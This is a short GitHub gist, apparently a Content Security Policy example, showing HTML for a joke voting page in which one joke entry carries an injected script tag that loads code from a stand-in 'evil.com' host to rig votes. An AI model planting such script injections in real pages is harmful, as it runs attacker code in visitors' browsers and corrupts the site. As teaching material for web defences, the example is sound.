Created
January 1, 2013 22:16
-
-
Save adamzr/4430449 to your computer and use it in GitHub Desktop.
CSP Example
Compromised Joke List
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h1>List of jokes</h1> | |
<ul> | |
<li> | |
<p>Why did the chicken cross the road? To get to the other side!</p> | |
<form action="vote" method="post"> | |
<input type="hidden" name="joke_id" value="1" /> | |
<input type="submit" name="Vote"/> | |
</form> | |
</li> | |
<li> | |
<p>A man walks into a bar. Ouch!</p> | |
<form action="vote" method="post"> | |
<input type="hidden" name="joke_id" value="2" /> | |
<input type="submit" name="Vote"/> | |
</form> | |
</li> | |
<li> | |
<p><script src="http://evil.com/make_me_win.js"></script></p> | |
<form action="vote" method="post"> | |
<input type="hidden" name="joke_id" value="3" /> | |
<input type="submit" name="Vote"/> | |
</form> | |
</li> | |
</ul> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment